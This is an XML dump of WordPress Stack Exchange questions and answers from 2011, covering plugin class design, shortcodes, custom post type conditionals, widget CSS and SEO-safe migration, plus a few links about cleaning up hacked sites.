  <row Id="26197" PostTypeId="2" ParentId="26186" CreationDate="2011-08-17T23:55:48.683" Score="5" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;When developing a plugin should the functions be grouped together into a Class to avoid namespace conflicts?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but that's only one of the minor arguments. In-fact that's not the &quot;true&quot; nature of a class in &lt;a href=&quot;http://en.wikipedia.org/wiki/Object-oriented_analysis_and_design&quot; rel=&quot;nofollow&quot;&gt;OOAD&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does using classes create performance overheads for PHP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, not notably. Bad design and/or bad written code or pre-mature optimisation creates far more performance problems than actual language features.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If there is a performance hit, should function names just be pre-fixed instead?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As written, there is no performance hit. Bad written code will be more of a performance hit than good written code that has some more lines of code but does not force you to do bad things.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bottom Line:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make differently use of classes for plugins. You can just use them to have some kind of namespace and use them &quot;just&quot; for global functions. The most direct form of that are static class functions, the following code-example shows both, first global functions, then global static class functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* global function */&#xA;function myplug_hook()&#xA;{&#xA;}&#xA;&#xA;add_filter('the_hook', 'myplug_hook');&#xA;&#xA;&#xA;/* global static function */&#xA;class myplug&#xA;{&#xA;    public static function hook()&#xA;    {&#xA;    }&#xA;}&#xA;&#xA;add_filter('the_hook', 'myplug::hook');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a little example showing that you need to type more for the single hook. Additionally it shows how the namespacing works: You can easier replace the single class name to rename all static functions and then search and replace &lt;code&gt;myplug::&lt;/code&gt; which could be harder with &lt;code&gt;myplug_&lt;/code&gt; because of false positives. But in the end there is not much difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key point is: &lt;a href=&quot;http://www.php.net/manual/en/language.oop5.static.php&quot; rel=&quot;nofollow&quot;&gt;static class functions &lt;sup&gt;&lt;em&gt;Docs&lt;/em&gt;&lt;/sup&gt;&lt;/a&gt; are not really much else then &lt;a href=&quot;http://www.php.net/manual/en/functions.user-defined.php&quot; rel=&quot;nofollow&quot;&gt;global functions&lt;sup&gt;&lt;em&gt;Docs&lt;/em&gt;&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this example shows as well: Namespacing is fine, but with worpdress, the namespacing stops with using hooks: The callback function is hardencoded, hence the benefit in namespacing using the class (one place for the base-name, the classname) does not help when you intervene your code with wordpress for the hook names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real benefit starts with using actual class instances and non-static functions. This has the benefit that you can start to make use of OO principles and you can streamline your code. Static class functions are more a problem than a solution infact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it's more than just syntactic sugar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key point is: Do something that helps you to write the code you can easily deal with and maintain. Don't over-rate performance, that's a common mistake. More important is that you write code that is easy to read and understand, that just does what you need. Maybe this question and answer is helpful for a bigger picture in this context: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4089/multiple-custom-metabox-help/&quot;&gt;&lt;em&gt;Multiple Custom Metabox Help&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One common approach I have even with smaller plugins is making use of a static helper function to instantiate the plugin and the rest resides within the plugin instance then. This helps to encapsulate the main plugin logic and it benefits from namespacing with the hooks as well that private members can be re-used between hooks which is not possible with standard global functions. The following code-example shows the pattern:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/** Plugin Headers ... */&#xA;&#xA;return MyPlugin::bootstrap(); &#xA;&#xA;class MyPlugin&#xA;{&#xA;    /** @var MyPlugin */&#xA;    static $instance;&#xA;    static public function bootstrap() {&#xA;        if (NULL === self::$instance) {&#xA;            self::$instance = new __CLASS__;&#xA;        }&#xA;        return self::$instance;&#xA;    }&#xA;    # ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a common pattern I use for the base plugin file. The plugin class on the one hand represents the plugin to wordpress and on the other hand it allows to start to use object oriented paradigms for the own code which can even be completely object oriented (but need not be). It's kind of a controller, interfacing with the whole wordpress API as the request(s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the example shows, an instance of the plugin will be created. This allows you to make use of known commons like a &lt;a href=&quot;http://php.net/manual/en/language.oop5.decon.php&quot; rel=&quot;nofollow&quot;&gt;Constructor &lt;sup&gt;&lt;em&gt;Docs&lt;/em&gt;&lt;/sup&gt; (&lt;code&gt;__construct&lt;/code&gt;)&lt;/a&gt; to initialize the actual plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ...&#xA;class MyPlugin&#xA;{&#xA;    # ...&#xA;    public function __construct()&#xA;    {&#xA;        add_filter('the_hook', array($this, 'hook'));&#xA;    }&#xA;&#xA;    public function hook()&#xA;    {&#xA;    }&#xA;    # ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the time the hook is registered, this plugin object already benefits from it's design: You've ceased to hard-code the actual hook function against the concrete plugin &lt;em&gt;classname&lt;/em&gt;. That's possible because of the binding of the class to the object instance for the callback. Sounds complicated, just saying: &lt;code&gt;$this&lt;/code&gt; &lt;em&gt;is&lt;/em&gt; the plugin. Can be used in hook callbacks, compare &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20065/registering-class-methods-as-hook-callbacks&quot;&gt;&lt;em&gt;Registering Class methods as hook callbacks&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pattern allows to easier interface with wordpress: the injection is reduced to the names of the hooks and which data they provide. You can then start to implement directly into this plugin class or to refactor your implementation against it, so to only put code into the plugin class that is the bare minimum to define your plugins interface against wordpress, but keep the general logic aside of worpdress. This is where the fun starts and most probably that what each plugin author want's to achieve in the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So don't program with worpdress but against it. As worpdress is quite flexible, there is no common or easy to describe interface to program against. A base plugin class can take up this role, allowing you more flexibility for your own code which will lead to easier code and a better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is more than just a benefit for name-spacing. Best suggestion I can give is: Try yourself. There is not much you'll loose, only new things to discover.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll most probably notice differences after you've passed some more major updates of wordpress while keeping your plugin compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Caveat&lt;/em&gt;: If your plugin directly integrates with wordpress to get the job done, using one or two public functions might suit you better. Take the right tool for the job.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-29T16:45:01.690" LastActivityDate="2011-08-29T16:45:01.690" />
  <row Id="26198" PostTypeId="2" ParentId="26139" CreationDate="2011-08-17T23:57:27.220" Score="1" ViewCount="" Body="&lt;p&gt;Depends on the use case. But 100 def. says there's something gone wrong. If you got a lot of custom tables and a lot of different stuff from different tables that you need to display on one page/request, then I'd say 40 is &lt;em&gt;higher&lt;/em&gt; than usual. My personal framework does around 10-15(?) queries for a &lt;em&gt;normal&lt;/em&gt; blog.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-17T23:57:27.220" />
  <row Id="26199" PostTypeId="1" CreationDate="2011-08-18T00:11:38.373" Score="0" ViewCount="25" Body="&lt;p&gt;If not directly maybe with a WP or TinyMCE plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this is easy enough to do with CSS from the HTML editor, I'm just wondering if there is a way to do it in the visual editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;Hanging indents are when the first line of a paragraph is not indented,&#xA;     but subsequent lines are.  Like this paragraph, although it's done manually&#xA;     using pre tags here.  In CSS this can be done by applying margin&#xA;     or padding to move everything right, and then a negative text-indent&#xA;     to move the first line back left.&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;code&gt;&amp;lt;p style=&quot;margin-left:3em;text-indent:-3em;&quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2932" LastEditorUserId="2932" LastEditorDisplayName="" LastEditDate="2011-08-18T01:48:38.463" LastActivityDate="2011-08-18T01:48:38.463" Title="Is there a way to create a hanging indent in TinyMCE (aka the visual editor)?" Tags="&lt;tinymce&gt;&lt;visual-editor&gt;" CommentCount="2" />
  <row Id="26200" PostTypeId="1" CreationDate="2011-08-18T01:51:49.367" Score="-1" ViewCount="28" Body="&lt;p&gt;I tried adding regular CSS to a custom page template I created (and redirected in the admin so that it became the home page), but the CSS isn't showing up at all! I'm confused - any tips?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I realized that I had to link back to the stylesheet on every page. Thanks to the community for helping me realize what the problem was.&lt;/p&gt;&#xA;" OwnerUserId="7607" LastEditorUserId="7607" LastEditorDisplayName="" LastEditDate="2011-08-18T18:27:11.820" LastActivityDate="2011-08-18T18:27:11.820" ClosedDate="2011-08-18T13:33:20.243" Title="Using CSS on Custom Page Template" Tags="&lt;css&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26201" PostTypeId="1" CreationDate="2011-08-18T02:10:00.803" Score="1" ViewCount="61" Body="&lt;p&gt;Here is just one of a couple of scenarios where this could come up.&#xA;Let's say you add a plugin on your development server, which requires a wordpress page to do its magic.&#xA;There are a couple of problems.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is no easy way to move the page over to production. The pages and posts are intermingled.&lt;/li&gt;&#xA;&lt;li&gt;Event if you do move it over, there is no guarantee that the pages ID will be the same, since likely new content was created on production in the interim. Most plugins that operate this way, store a page ID.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7007" LastActivityDate="2011-08-30T13:56:00.480" Title="How do you add pages on a staging server, and then move them over to production" Tags="&lt;development&gt;&lt;staging&gt;&lt;production&gt;" AnswerCount="3" />
  <row Id="26202" PostTypeId="1" AcceptedAnswerId="26208" CreationDate="2011-08-18T02:16:08.723" Score="1" ViewCount="39" Body="&lt;p&gt;I'm using gpp slideshow, which overwrites wordpress's default gallery display. I only want to use it on my custom post type, &quot;listings&quot; - how would I reference it to only replace wordpress's default gallery on the &quot;listings' page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code in my functions.php, and I can't seem to get the reference right for the custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_head','add_gpp_gallery');&#xA;function add_gpp_gallery() {&#xA;    if( ( is_single() || is_page() ) &amp;amp;&amp;amp; ( !is_page_template('page-blog.php') ) ){&#xA;        remove_shortcode('gallery', 'gallery_shortcode');&#xA;        add_shortcode('gallery', 'gpp_gallery_shortcode');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;above is the code the plugin uses, and I added it to my functions.php and tried this change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_single() &amp;amp;&amp;amp; is_post_type('post_type'){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that returns an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thoughts &amp;amp; thanks&lt;/p&gt;&#xA;" OwnerUserId="4902" LastEditorUserId="4902" LastEditorDisplayName="" LastEditDate="2011-08-18T02:26:58.777" LastActivityDate="2011-08-18T03:04:04.703" Title="functions.php conditional tag only for custom post type" Tags="&lt;custom-post-types&gt;&lt;get-posts&gt;&lt;conditional-tags&gt;" AnswerCount="2" />
  <row Id="26203" PostTypeId="2" ParentId="26202" CreationDate="2011-08-18T02:37:53.350" Score="-1" ViewCount="" Body="&lt;p&gt;You appear to be missing a parenthesis. Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_single() &amp;amp;&amp;amp; is_post_type('post_type')) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7358" LastEditorUserId="66" LastEditorDisplayName="" LastEditDate="2011-08-18T02:55:09.697" LastActivityDate="2011-08-18T02:55:09.697" />
  <row Id="26204" PostTypeId="2" ParentId="26200" CreationDate="2011-08-18T02:40:47.713" Score="0" ViewCount="" Body="&lt;p&gt;We're going to need a little more info.  What url for the css shows up in the source when you look at the page?   What is the code in your header for including the css?&lt;/p&gt;&#xA;" OwnerUserId="7358" LastActivityDate="2011-08-18T02:40:47.713" CommentCount="3" />
  <row Id="26205" PostTypeId="1" AcceptedAnswerId="26250" CreationDate="2011-08-18T02:53:59.657" Score="0" ViewCount="20" Body="&lt;p&gt;Is is possible to get a retweet button on a WordPress.com blog? I see that plugins are not an option, and the only widget that I found was for adding my tweets to my blog. I'm looking to add my blog to other peoples tweets, and I'm surprised that isn't built in, like the FaceBook 'like' widget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done?&lt;/p&gt;&#xA;" OwnerUserId="7759" LastActivityDate="2011-08-18T14:57:32.610" Title="How to get a retweet button on my wordpress.com blog?" Tags="&lt;wordpress.com&gt;&lt;twitter&gt;" AnswerCount="1" />
  <row Id="26206" PostTypeId="1" CreationDate="2011-08-18T03:00:20.127" Score="0" ViewCount="9" Body="&lt;p&gt;I have a CV post type and am using meta data specify the job type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to select the last X jobs by date by display them by category and then date. Is this possible without hacking together a query of my own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting SQL would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT SQL_CALC_FOUND_ROWS * FROM (&#xA;&#xA;SELECT  * &#xA;FROM wp_posts&#xA;INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id ) &#xA;WHERE 1 =1&#xA;AND wp_posts.post_type =  'my_custom_post_type'&#xA;AND (&#xA;wp_posts.post_status =  'publish'&#xA;OR wp_posts.post_status =  'private'&#xA;)&#xA;AND (&#xA;wp_postmeta.meta_key =  '_cv_job_type'&#xA;)&#xA;GROUP BY wp_posts.ID&#xA;ORDER BY wp_posts.post_date DESC &#xA;LIMIT 0 , 10&#xA;&#xA;) AS wp_temp&#xA;ORDER BY wp_temp.meta_value, wp_temp.post_date DESC &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realise this is a slightly odd use case but any help would be appreciates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ta.&lt;/p&gt;&#xA;" OwnerUserId="7989" LastActivityDate="2011-08-18T03:00:20.127" Title="Reorder result set" Tags="&lt;wp-query&gt;&lt;database&gt;&lt;3.2&gt;" />
  <row Id="26207" PostTypeId="2" ParentId="26201" CreationDate="2011-08-18T03:00:44.260" Score="0" ViewCount="" Body="&lt;p&gt;I've recently heard of &lt;a href=&quot;http://crowdfavorite.com/wordpress/ramp/&quot; rel=&quot;nofollow&quot;&gt;RAMP for WordPress&lt;/a&gt;, which is a $99 solution. Looking forward to checking it out more thoroughly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if it takes database IDs into account.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2011-08-18T03:00:44.260" CommentCount="1" />
  <row Id="26208" PostTypeId="2" ParentId="26202" CreationDate="2011-08-18T03:04:04.703" Score="0" ViewCount="" Body="&lt;p&gt;Try using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_type&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_post_type()&lt;/code&gt;&lt;/a&gt; instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_single() &amp;amp;&amp;amp; 'post_type' == get_post_type() ) {&#xA;    // Do something&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;is_post_type()&lt;/code&gt; conditional is deprecated. But even when it existed, it returned true if &lt;em&gt;the current post is any registered custom post type&lt;/em&gt;. It has been replaced with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/post_type_exists&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;post_type_exists()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_Post_Type&quot; rel=&quot;nofollow&quot;&gt;More information on Post Type conditional tags&lt;/a&gt;.)&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-18T03:04:04.703" />
  <row Id="26209" PostTypeId="1" CreationDate="2011-08-18T03:14:42.383" Score="0" ViewCount="46" Body="&lt;p&gt;i created some shortcodes which i have include into functions.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the shortcode.php code i have used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// alert box &#xA;function alertBox($atts, $content = null) {&#xA;    extract(shortcode_atts(array(&#xA;        &quot;bgcolor&quot; =&amp;gt; '#ffffff'&#xA;    ), $atts));&#xA;    return '&amp;lt;div class=&quot;alertBox&quot; style=&quot;background:'.$bgcolor.'&quot;&amp;gt;'.$content.'&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode(&quot;alertbox&quot;, &quot;alertBox&quot;);&#xA;&#xA;/*** info box ***/&#xA;function infoBox($atts, $content = null) {&#xA;    extract(shortcode_atts(array(&#xA;        &quot;bgcolor&quot; =&amp;gt; '#ffffff'&#xA;    ), $atts));&#xA;    return '&amp;lt;div class=&quot;infoBox&quot; style=&quot;background:'.$bgcolor.'&quot;&amp;gt;'.$content.'&amp;lt;/div&amp;gt;';&#xA;}&#xA;&#xA;add_shortcode(&quot;infobox&quot;, &quot;infoBox&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All this was included into the functions.php using this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include TEMPLATEPATH . '/extras/shortcodes.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When working on wamp (offline) shortcodes work beautifly but&#xA;online wordpress only spew out the actuall tags like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[alertbox]Sometext[/alertbox]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created many shortcodes tough mostly with copy/paste/refine..&#xA;Anyone got an idea as to why this might happen ?&lt;/p&gt;&#xA;" OwnerUserId="7990" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-08-18T05:24:00.707" LastActivityDate="2011-08-18T13:28:36.813" Title="Shortcodes dont work online" Tags="&lt;offline&gt;&lt;shortcodes&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="26210" PostTypeId="2" ParentId="25855" CreationDate="2011-08-18T03:18:51.203" Score="-1" ViewCount="" Body="&lt;p&gt;We wrote about this wave of attack in our blog here. Check it out!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(moderator note)&lt;/strong&gt; This was flagged and reported as site containing malware. I don't think that scans react to actual live malware (site warns about false positives), but enter at your own risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;_http://blog.armorize.com/2011/08/k985ytvhtm-fake-antivirus-mass.html&lt;/p&gt;&#xA;" OwnerUserId="7991" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-08-22T22:35:06.920" LastActivityDate="2011-08-22T22:35:06.920" CommentCount="2" />
  <row Id="26211" PostTypeId="2" ParentId="25855" CreationDate="2011-08-18T03:57:54.923" Score="0" ViewCount="" Body="&lt;p&gt;useful links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/FAQ_My_site_was_hacked&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/FAQ_My_site_was_hacked&lt;/a&gt;&#xA;http://wordpress.org/support/topic/268083#post-1065779&#xA;&lt;a href=&quot;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&quot; rel=&quot;nofollow&quot;&gt;http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/&lt;/a&gt;&#xA;http://ottopress.com/2009/hacked-wordpress-backdoors/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then implement tips of this guide: &lt;a href=&quot;http://codex.wordpress.org/Hardening_WordPress&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Hardening_WordPress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5021" LastActivityDate="2011-08-18T03:57:54.923" />
  <row Id="26213" PostTypeId="1" AcceptedAnswerId="26241" CreationDate="2011-08-18T05:28:25.287" Score="2" ViewCount="52" Body="&lt;p&gt;I currently developing wordpress widget for my website. This widget will pull user latest post in my website and show in their blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the widget there is option for user to use their css or my css for the widget&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use this code in my widget and its work perfectly but this code will always load the css.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'widgets_init', 'load_my_widgets' );&#xA;&#xA;function load_my_widgets() {&#xA;    register_widget( 'My_Widget' );&#xA;    wp_register_style( 'my_widget_css', 'http://mydomain.com/css/my-widget.css' );&#xA;    wp_enqueue_style( 'my_widget_css' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is how can I enable the CSS based on the user option? I try something like this but its not working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget( $args, $instance ) {&#xA;    $own_css = isset( $instance['own_css'] ) ? true : false;&#xA;&#xA;    if ( ! $own_css ) {&#xA;        wp_enqueue_style( 'my_widget_css' );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7992" LastActivityDate="2011-08-22T10:32:31.547" Title="Use wp_enqueue_style based on user option in widget" Tags="&lt;widgets&gt;" AnswerCount="3" />
  <row Id="26214" PostTypeId="2" ParentId="26209" CreationDate="2011-08-18T07:00:11.930" Score="0" ViewCount="" Body="&lt;p&gt;Hi sometimes it is a &quot;silly&quot; error .  Look at the start of the file - is the bracket &quot;&amp;lt; ? php &quot; correctly entered ? And wherever else you have it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way I always develop and test with wp-debug switched on permanently on my localhost.  It is very useful at flushing out errors.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yea sometimes one has to switch off when playing with someone else's plugin that did not have the same rigour but well worth the effort .&lt;/p&gt;&#xA;" OwnerUserId="3569" LastActivityDate="2011-08-18T07:00:11.930" />
  <row Id="26215" PostTypeId="1" AcceptedAnswerId="26217" CreationDate="2011-08-18T07:19:06.103" Score="2" ViewCount="61" Body="&lt;p&gt;I'm thinking about migrating a client's website from a super-old cms (xoops) to WP. However the site is quite old so I don't want him to lose any SEO juice he acquired through the years (PR: 2). Anything I'd have to consider doing the migration? (I was thinking about setting up WP on a separate folder and then moving it to root for the full migration - anything I have to consider here?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Mike Hudson (comment below) made me aware of an error. I thought PR = Ranking in the results. Meaning: I'm more concerned with the ranking than the PR, so redirect is the way to go! Thanks folks!&lt;/p&gt;&#xA;" OwnerUserId="3951" LastEditorUserId="3951" LastEditorDisplayName="" LastEditDate="2011-08-18T12:16:44.423" LastActivityDate="2011-08-18T12:16:44.423" Title="Migrating from other CMS to WP - losing SEO juice?" Tags="&lt;seo&gt;&lt;cms&gt;&lt;migration&gt;" AnswerCount="3" />
  <row Id="26216" PostTypeId="2" ParentId="26215" CreationDate="2011-08-18T07:25:55.897" Score="1" ViewCount="" Body="&lt;p&gt;Use 301 redirections in your htaccess file from old URLs to the new URLs and you will be fine&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-08-18T07:25:55.897" />
  <row Id="26217" PostTypeId="2" ParentId="26215" CreationDate="2011-08-18T08:37:12.113" Score="3" ViewCount="" Body="&lt;p&gt;You should use a sitemap module to generate a list of URLs created by XOOPs [e.g. &lt;a href=&quot;http://xoops.svn.sourceforge.net/viewvc/xoops/XoopsModules/xsitemap/&quot; rel=&quot;nofollow&quot;&gt;xSitemap&lt;/a&gt;].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have to set up your .htaccess to 301 redirect each URL to its corresponding page in the new Wordpress instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you should consider installing a Wordpress plugin like &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection&lt;/a&gt; to check for 404s and redirect them nicely to the new instance.&lt;/p&gt;&#xA;" OwnerUserId="2275" LastEditorUserId="2275" LastEditorDisplayName="" LastEditDate="2011-08-18T09:11:02.323" LastActivityDate="2011-08-18T09:11:02.323" CommentCount="3" />
  <row Id="26218" PostTypeId="1" CreationDate="2011-08-18T09:01:19.203" Score="0" ViewCount="11" Body="&lt;p&gt;I'm using FancyBox and Infinite Scroll on this site:&#xA;&lt;a href=&quot;http://www.davidgoltz.de/2011/blog-page/&quot; rel=&quot;nofollow&quot;&gt;http://www.davidgoltz.de/2011/blog-page/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works nice but after loading the second page (while scrolling down), the fancybox on the upcoming pages doesnt work. (Fancybox doesnt give the images the .fancybox-class too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding the classes on my own, it doesnt work either. I heard something about livequery. Is it possible to work with that to fix this?&lt;/p&gt;&#xA;" OwnerUserId="7753" LastActivityDate="2011-08-18T09:01:19.203" Title="Infinite Scroll deactivates Fancybox after loading second page" Tags="&lt;jquery&gt;" />
  <row Id="26219" PostTypeId="1" CreationDate="2011-08-18T09:06:48.367" Score="1" ViewCount="34" Body="&lt;p&gt;my objective is to define a custom excerpt length. I know that I can do it defining a new function in my functions.php located in the child theme of the Twenty Eleven.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should override these lines :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Sets the post excerpt length to 40 words.&#xA; *&#xA; * To override this length in a child theme, remove the filter and add your own&#xA; * function tied to the excerpt_length filter hook.&#xA; */&#xA;function twentyeleven_excerpt_length( $length ) {&#xA;    return 40;&#xA;}&#xA;add_filter( 'excerpt_length', 'twentyeleven_excerpt_length' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function new_excerpt_length($length) {&#xA;    return 20;&#xA;}&#xA;add_filter('excerpt_length', 'new_excerpt_length');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it does nothing. Even if I change the default value 40 by another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="7994" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-20T09:07:57.800" LastActivityDate="2011-08-20T09:07:57.800" Title="How to override excerpt length in child theme of Twenty Eleven?" Tags="&lt;theme-twenty-eleven&gt;" AnswerCount="1" />
  <row Id="26220" PostTypeId="1" AcceptedAnswerId="26233" CreationDate="2011-08-18T09:08:46.180" Score="1" ViewCount="29" Body="&lt;p&gt;I am building a Wordpress blog system in Spanish and I'd like to have the default theme also translated to &quot;es_ES&quot;. I am already running this Wordpress installation in Spanish. What I'd like to know is how to do the same with the default theme (twenty-eleven). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site allows us to download the po file with the translation: &lt;a href=&quot;http://translate.wordpress.org/projects/wp/3.2.x/twentyeleven/es/default&quot; rel=&quot;nofollow&quot;&gt;http://translate.wordpress.org/projects/wp/3.2.x/twentyeleven/es/default&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know what to do next.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7993" LastActivityDate="2011-08-18T12:52:18.297" Title="How to put a Worpdpress theme in spanish (having the po file)?" Tags="&lt;themes&gt;&lt;theme-twenty-eleven&gt;&lt;language&gt;&lt;po&gt;" AnswerCount="1" />
  <row Id="26221" PostTypeId="2" ParentId="26219" CreationDate="2011-08-18T09:15:40.723" Score="1" ViewCount="" Body="&lt;p&gt;Well I finally solved the problem. The excerpt_length function is NOT use with the excerpt box of the WordPress editor. You have to put all your content in the main area.&lt;/p&gt;&#xA;" OwnerUserId="7995" LastActivityDate="2011-08-18T09:15:40.723" />
